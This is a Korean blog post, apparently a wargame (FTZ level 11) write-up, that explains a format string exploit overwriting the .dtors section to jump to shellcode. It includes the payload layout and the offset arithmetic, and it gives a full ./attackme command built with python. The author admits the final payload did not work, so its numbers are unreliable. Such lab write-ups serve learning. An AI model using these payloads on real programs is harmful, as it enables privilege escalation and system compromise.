nm ๋ช…๋ น์–ด๋กœ ํ•ด๋‹น ํ™•์ธ์„ ํ•˜์—ฌ main์˜ ์†Œ๋ฉธ์ž๋ฅผ ํ™•์ธ

.ctors ์†์„ฑ์˜ ํ•จ์ˆ˜๋Š” main() ์ „์— ์‹คํ–‰
.dtors ์†์„ฑ์˜ ํ•จ์ˆ˜๋Š” main() ์ข…๋ฃŒ ํ›„์— ์‹คํ–‰

0x08049610 ์ฃผ์†Œ๊ฐ€ Dtors_End๊ฒ ๋„ค์š” 

๋‹ค ๋๋‚ฌ๋„ค์š” exploit ์ฝ”๋“œ๋ฅผ ์งœ์‹ค ๋•Œ ์ƒ๊ฐํ•œ ์ˆœ์ฐจ์ ์œผ๋กœ ์„ค๋ช…์„ ํ•œ๋‹ค๋ฉด
์•„ ๋ฐ‘์— ๋งํฌ๋Š” ๋ฐ‘์— ๋ถ€๋ถ„์—์„œ ์•ฝ๊ฐ„ ๋ฉ”๋ชจ๋ฆฌ ๋‚˜๋ˆ„๋Š” ๊ธฐ์ค€ ์ด๋Ÿฐ๊ฑธ ๋ชจ๋ฅด๊ฒ ๋‹ค ๊ทธ๋Ÿผ ๋“ค์–ด๊ฐ€์‹œ๋ฉด ๋˜์š”

 

Computer Architecture

1. ์ปดํ“จํ„ฐ ๊ตฌ์กฐ(Computer Architecture) ์ปดํ“จํ„ฐ ๊ณผํ•™์—์„œ๋Š” PC์„ค๊ณ„๋ฅผ ์—ฌ๋Ÿฌ ํ•˜๋“œ์›จ์–ด๊ฐ€ ๊ฐœ๋ฐœ๋˜๊ณ , ์ด๋“ค์„ ์กฐ๋ฆฝํ•ด์„œ ์ปดํ“จํ„ฐ๊ฐ€ ์™„์„ฑํ•œ ๊ฒƒ์ด ์ปดํ“จํ„ฐ ๊ตฌ์กฐ! ๋”๋ณด๊ธฐ ๐Ÿ“œ๊ฐœ์š”๐Ÿ“œ ์ปดํ“จํ„ฐ ๊ตฌ์กฐ(Computer Architecture)

dystopia050119.tistory.com

shellcode addr : 0xbffffc20 [\x20\xfc\xff\xbf]
Dtors : 0x08049610 [\x10\x96\x04\x08]

๊ฐ€์žฅ ์ด์ƒ์ ์ธ ํ˜•์‹
[dtor์˜ ์ฃผ์†Œ] + (%8x)*3 + %[์‰˜ ์ฝ”๋“œ ์ฃผ์†Œ; 0xbffffc10]c + %n

์œผ๋กœ ์šฐ๋ฆฌ๊ฐ€ ์›ํ•˜๋Š” ๊ตฌ์ƒ์ด ๋˜์•ผ์ง€๋งŒ ๋ฌธ์ œ๋Š” ๋ฐ”๋กœ ์‰˜ ์ฝ”๋“œ๋ฅผ ๋„ฃ๋Š” ๋ถ€๋ถ„..
์—ฌ๊ธฐ์„œ "0xbffffc20"์ด๋ผ๋Š” ์ˆซ์ž๋Š” CS(Computer Science)๋ถ€๋ถ„์—์„œ ๋ณ€ํ™˜ ํ•˜๋Š” ๋„์ค‘์—..
๋ฉ”๋ชจ๋ฆฌ ์ ์ œ์—์„œ ๋‹ค๋ฅธ ์ˆซ์ž๋กœ ๋ณ€ํ•˜๊ธฐ์— ํฐ ์˜ค๋ฅ˜๊ฐ€ ์ƒ๊ธธ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

 0xbfffff20๋Š” 10์ง„์ˆ˜๋กœ 3,221,225,248์ธ๋ฐ
intํ˜•์˜ ๋ฒ”์œ„๋Š” -2,147,483,648 ~ 2,147,438,647 ์ด๊ธฐ ๋•Œ๋ฌธ์— ์ œ๋Œ€๋กœ ์ธ์‹์„ ํ•˜์ง€ํ•จ
 

2. ๋ฐ์ดํ„ฐ์˜ ์ข…๋ฅ˜(์ง„์ˆ˜, ๋ณด์ˆ˜, ๋…ผ๋ฆฌ ๊ฒŒ์ดํŠธ)

๋ณด์ˆ˜ํŠน์ • ๋น„ํŠธ์˜ ์ตœ๋Œ€๊ฐ’์„ ๋งŒ๋“œ๋Š” a+b๊ฐ€ ์กด์žฌํ•œ๋‹ค๋ฉด, a์™€ b๋Š” ์„œ๋กœ 1์ง„ ๋ณด์ˆ˜ ๊ด€๊ณ„๋‹ค.2๋น„ํŠธ์˜ ์ตœ๋Œ€๊ฐ’์€ 11์ด๋‹ค. 10 + 1์€ ์„œ๋กœ 1์ง„ ๋ณด์ˆ˜๋‹ค ์ตœ๋Œ€ ํ‘œํ˜„์ž๋ฆฌ ์ˆ˜(modulus)๋ฅผ ํ˜•์„ฑํ•˜๋Š”๋ฐ ์„œ๋กœ ๋ณด์™„๊ด€๊ณ„๋ฅผ ์ด๋ฃจ

yangdongjue5510.github.io

์ž์„ธํ•œ ์ด์œ ๋Š” ์œ„์— ๋งํฌ๋กœ.. ์—ฌ๊ธฐ์„  ์„ค๋ช…ํ•˜๋Š”๊ฒŒ ๋„ˆ๋ฌด ๊ธธ์–ด์ง€๋‹ˆ๊นŒ ์œ„๋Š” ๊ฐ„๋‹จํ•œ ์„ค๋ช…
์ถ”๊ฐ€์ ์œผ๋กœ ๊ณต๋ถ€ํ•˜๊ณ  ์‹ถ๋‹ค๋ฉด CS๋ถ€๋ถ„์„ ๊ณต๋ถ€ํ•ด์ฃผ์„ธ์š” ใ…Ž

๊ธฐ๋ณธ์ ์ธ ํ‹€(๋ฉ”๋ชจ๋ฆฌ์— ๋งž๊ฒŒ ๋Š์–ด์„œ.. ๋Œ€๋ถ€๋ถ„ ์ด๋ ‡๊ฒŒ ํ•จ)
[dtor ์ƒ์œ„ 2byte] +  [- ํ•˜์œ„ 2byte] + (%8x)*3 + %[shell ํ•˜์œ„ 2byte addr]c + %n + %[- ์ƒ์œ„ 2byte] + %n

๋ฆฌํ‹€ ์—”๋””์•ˆ ํ˜•์‹์œผ๋กœ ๋„ฃ์„๊ฑฐ๊ธฐ์— ์ด๋Ÿฐ ํ˜•์‹์œผ๋กœ ๋‚˜๋ˆˆ๊ฑฐ ์•„์‹ค๊ฑฐ์˜ˆ์š”
๊ทธ๋Ÿฌ๋ฉด ๋ญ”๊ฐ€ ์–ด๋–ป๊ฒŒ ํ•ด์•ผํ• ์ง€ ๊ฐ์ด ์•ˆ ์˜ฌ ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ

[dtor ์ƒ์œ„] ← [์‰˜ ํ•˜์œ„ 2byte; \xff\xbf\x00\x00; 65471(10์ง„์ˆ˜)]
[dtor ํ•˜์œ„] ← [์‰˜ ์ƒ์œ„ 2byte; \x20\xfc\x00\x00; 8444(10์ง„์ˆ˜)]

๋ณด์‹œ๋ฉด dtor์˜ ์ฃผ์†Œ๋ฅผ ์ชผ๊ฐฐ์œผ๋ฏ€๋กœ dtor ์ƒ์œ„ ์ฃผ์†Œ๋ฅผ ๋„ฃ๊ธฐ ์œ„ํ•ด์„œ %n์„ ์ถ”๊ฐ€ ์ฆ‰, 4byte ๋งŒํผ ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ์ถ”๊ฐ€๋จ
๊ทธ๋Ÿฌ๊ธฐ์— 4byte๋ฅผ ๋•ก๊ฒจ์•ผ์ง€ dtor์— ๊ฐ๊ฐ ๋ฐ์ดํ„ฐ๊ฐ€ ์ž˜ ๋“ค์–ด๊ฐ€๊ฒ ์ฃ ? ๊ทธ๋ž˜์„œ (%8x)*(3-1)

๋ณด์™„
[dtor ์ƒ์œ„ 2byte] + [4byte dummy] + [- ํ•˜์œ„ 2byte] + (%8x)*2 + %[shell ํ•˜์œ„ 2byte addr]c + %n + %[- ์ƒ์œ„ 2byte] + %n

๊ทธ๋ฆฌ๊ณ  ์‰˜ ํ•˜์œ„ 2byte๋„ฃ์„๋ผ๊ณ  %n์œผ๋กœ 4byte๋ฅผ ๋•ก๊ฒผ์œผ๋‹ˆ๊นŒ ์‰˜ ์ƒ์œ„ ๋„ฃ์„๋ ค๋ฉด
์›๋ž˜ dtor์˜ ํ•˜์œ„ ๋ฐ”์ดํŠธ์˜ ์œ„์น˜๋ฅผ4byte ๋ฐ€์–ด์ค˜์•ผ ์ •์ƒ์ ์œผ๋กœ ์ธ์ž๋“ค์ด ์ž…๋ ฅ๋˜๊ฒ ์ฃ ?
์†”์งํžˆ ์ดํ•ดํ•˜๊ธฐ๊ฐ€ ์ƒ๋‹น ์–ด๋ ต๊ธฐ ๋•Œ๋ฌธ์— ์ฒœ์ฒœํžˆ ์ƒ๊ฐํ•ด์ฃผ์‹œ๊ณ  ๋ชจ๋ฅด์‹œ๋ฉด ๋Œ“๊ธ€๋กœ ํ•ด์ฃผ์„ธ์š”

๊ทธ๋Ÿผ payload์˜ ์‹œ๋‚˜๋ฆฌ์˜ค๋Š” ๋Œ€์ถฉ ๊ตฌ์„ฑํ–ˆ์–ด์š”
(์‹ค์ œ๋กœ๋Š” ๋ฉ”๋ชจ๋ฆฌ ๊ตฌ์„ฑ์ƒ ์‹ค์ œ ๊ฐ’์„ ๋„ฃ์„ ๋•Œ ๋‹ค์‹œ ์ž…๋ ฅํ•ด์•ผํ•  ๋ถ€๋ถ„๋„ ์žˆ์ง€๋งŒ..)


Payload Exploit

shellcode addr : 0xbffffc20 [\x20\xfc\xff\xbf]
Dtors : 0x08049610 [\x10\x96\x04\x08]

[dtor ์ƒ์œ„] ← [์‰˜ ํ•˜์œ„ 2byte; \xff\xbf\x00\x00; 65471(10์ง„์ˆ˜)]
[dtor ํ•˜์œ„] ← [์‰˜ ์ƒ์œ„ 2byte; \x20\xfc\x00\x00; 8444(10์ง„์ˆ˜)]

./attackme `python -c 'print "\x10\x96\x04\x08" + "AAAA" + "\x12\x96\x04\x08" + "%8x%8x" + "%64514c" + "%n" + "%50145c" + "%n"'`

์œ„์™€ ๊ฐ™์ด ์งฏ์œผ๋ฉฐ ์‰˜ ์ฝ”๋“œ์˜ ์ธ์ž๋ฅผ ๋„ฃ์„๋•Œ ์ฃผ์˜์ ์ด ๊ทธ๋•Œ๊นŒ์ง€ ์ถœ๋ ฅํ•œ ๋ฌธ์ž์˜ ์ˆ˜๋งŒํผ ๋นผ์•ผํ•ด์š”
(์›๋ณธ ๊ฐ’ - ์ถœ๋ ฅ๋œ ๊ฐ’) + ์ถœ๋ ฅ๋œ ๊ฐ’ = ์›๋ณธ๊ฐ’

๊ทธ๋Ÿฌ๋ฏ€๋กœ dotr addr(8) + dummy(4) + %8x*2(16) = 24๋งŒํผ ๋นผ๋ฉด ๋˜์š”
65471 - 24 = 64514, ๋’ค์—๋„ ๋˜‘๊ฐ™์ด ํ•ด์•ผํ•˜๋Š”๋ฐ ํฌ๊ธฐ๊ฐ€ ์•ˆ๋˜์„œ ์Œ์ˆ˜ ์ฆ‰, ๋ณด์ˆ˜ ๊ฐ’์ด ๋‚˜์˜ค์ž–์•„์š”

๊ทธ๋Ÿฌ๋ฏ€๋กœ CS๋ฅผ ๋ฐฐ์šฐ์…จ๋‹ค๋ฉด ์•„์‹œ๊ฒ ์ง€๋งŒ ๋ณด์ˆ˜์˜ ๊ฐ’์ด ์žˆ๊ธฐ์— ์ตœ์ƒ๋‹จ์— 1์„ ์ถ”๊ฐ€ํ•ด 1fc20 - ffxb = 50145๋กœ
๋‚˜์™€์š”.. ์ด๊ฑด ์ˆ˜์ •์„ ๊ณ„์† ํ•˜๋‹ค๋ณด๋‹ˆ๊นŒ.. ๊ทธ๋Ÿฐ๋ฐ ํ•ด๋ณด๋ฉด.. ์•ˆ๋˜๋”๋ผ๊ณ ์š” ๋‚˜์ค‘์— ๋‹ค์‹œ ํ• ๊ป˜์š” ใ… 


๋‹ค์†Œ ์„ค๋ช…์ด ๋ถˆ์นœ์ ˆํ•œ ์ด์œ ๋Š” ๊ณ„์† ๋‚ ์•„๊ฐ€์„œ ํ™”๊ฐ€ ๋„ˆ๋ฌด ๋‚ฌ๋Š”๋ฐ.. ใ…  ์–ด์ฉ” ์ˆ˜ ์—†์ฃ 
์ € ๊นŒ๋จน์„ ์ˆ˜ ์žˆ์œผ๋‹ˆ๊นŒ ๋‹ค์–‘ํ•œ ๋ฐฉ๋ฒ•์œผ๋กœ ํ’€๊ณ  ์‹ถ๋‹ค๋ฉด ๋Œ“๊ธ€๋กœ๋“  ๋ชจ๋“  ์žฌ์ด‰ํ•ด์ฃผ์„ธ์š” ๊ทธ๋Ÿผ ์ด๋งŒ


์ฐธ๊ณ  ์ž๋ฃŒ

๋”๋ณด๊ธฐ
 

BOF - ํ™˜๊ฒฝ๋ณ€์ˆ˜ ์ด์šฉํ•˜๊ธฐ

ํ™˜๊ฒฝ๋ณ€์ˆ˜ :์‹œ์Šคํ…œ์—์„œ ์‚ฌ์šฉํ•˜๋Š” ๋ณ€์ˆ˜ (์‹œ์Šคํ…œ์˜ ์„ค์ •์ด๋‚˜ ๋ช…๋ น์–ด์˜ ๊ฒฝ๋กœ ๋“ฑ์ด ์ €์žฅ๋˜์–ด์žˆ์Œ) -ํ™˜๊ฒฝ๋ณ€์ˆ˜๋Š” ๋ฉ”๋ชจ๋ฆฌ ์–ด๋”˜๊ฐ€์— ํ•ญ์ƒ ์ €์žฅ๋˜์–ด ์žˆ๋‹ค. (*nic ๊ณ„์—ด์˜ ์‰˜์—์„œ ํ™˜๊ฒฝ๋ณ€์ˆ˜๋Š” ํฌ์ธํ„ฐ๋กœ ์ฐธ์กฐ๋œ

yehey-study.tistory.com

 

ctors, dtors ์˜์—ญ

ํฌ๋งท์ŠคํŠธ๋ง ๋ฒ„๊ทธ์— ์ด์šฉํ•˜๋Š” .dtors ์˜์—ญ์— ๋Œ€ํ•ด์„œ ์•Œ์•„ ๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค. GNU Compiler(gcc)๋Š” ์ปดํŒŒ์ผ ํ•  ๋•Œ .ctors, .dtors ๋‘ segment๋ฅผ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค. (gcc์˜ ์†์„ฑ) ( ctors - constructor,  dtors - destructor )..

bbolmin.tistory.com

 

getenv() — ํ™˜๊ฒฝ ๋ณ€์ˆ˜ ๊ฒ€์ƒ‰

ํ˜•์‹ #include char *getenv(const char *varname); ์ž‘์—… CCSID ์ธํ„ฐํŽ˜์ด์Šค ์ด ํ•จ์ˆ˜๋กœ ๋ณด๋‚ด์ง„ ๋ชจ๋“  ๋ฌธ์ž๋Š” ์ž‘์—…์˜ CCSID์— ์žˆ์„ ๊ฒƒ์œผ๋กœ ์˜ˆ์ƒํ•ฉ๋‹ˆ๋‹ค. ์ด ํ•จ์ˆ˜์—์„œ ๋ฆฌํ„ด๋œ ๋ชจ๋“  ๋ฌธ์ž ๋ฐ์ดํ„ฐ๋Š” ์ž‘์—…์˜ CCSID์— ์žˆ์„

www.ibm.com

 

[FTZ] level 11(FSB, DTOR)

[ํ’€์ด์˜ ํ๋ฆ„] 1. ์ƒํ™ฉํŒŒ์•… : ๊ธฐ๋ณธ ํด๋”์˜ ๋‚ด์šฉ์„ ํ™•์ธํ•œ๋‹ค. 2. ์ •๋ณด์ˆ˜์ง‘ : hintํŒŒ์ผ์„ ํ™•์ธํ•œ๋‹ค. 3. ์•ฝ์ ...

blog.naver.com

 

 

[FTZ] level 11(FSB, DTOR)

[ํ’€์ด์˜ ํ๋ฆ„] 1. ์ƒํ™ฉํŒŒ์•… : ๊ธฐ๋ณธ ํด๋”์˜ ๋‚ด์šฉ์„ ํ™•์ธํ•œ๋‹ค. 2. ์ •๋ณด์ˆ˜์ง‘ : hintํŒŒ์ผ์„ ํ™•์ธํ•œ๋‹ค. 3. ์•ฝ์ ...

blog.naver.com

 

์ฐธ๊ณ  ์ด๋ฏธ์ง€

 

Sea Level free icons designed by surang

Download now this vector icon in SVG, PSD, PNG, EPS format or as webfonts. Flaticon, the largest database of free icons.

www.flaticon.com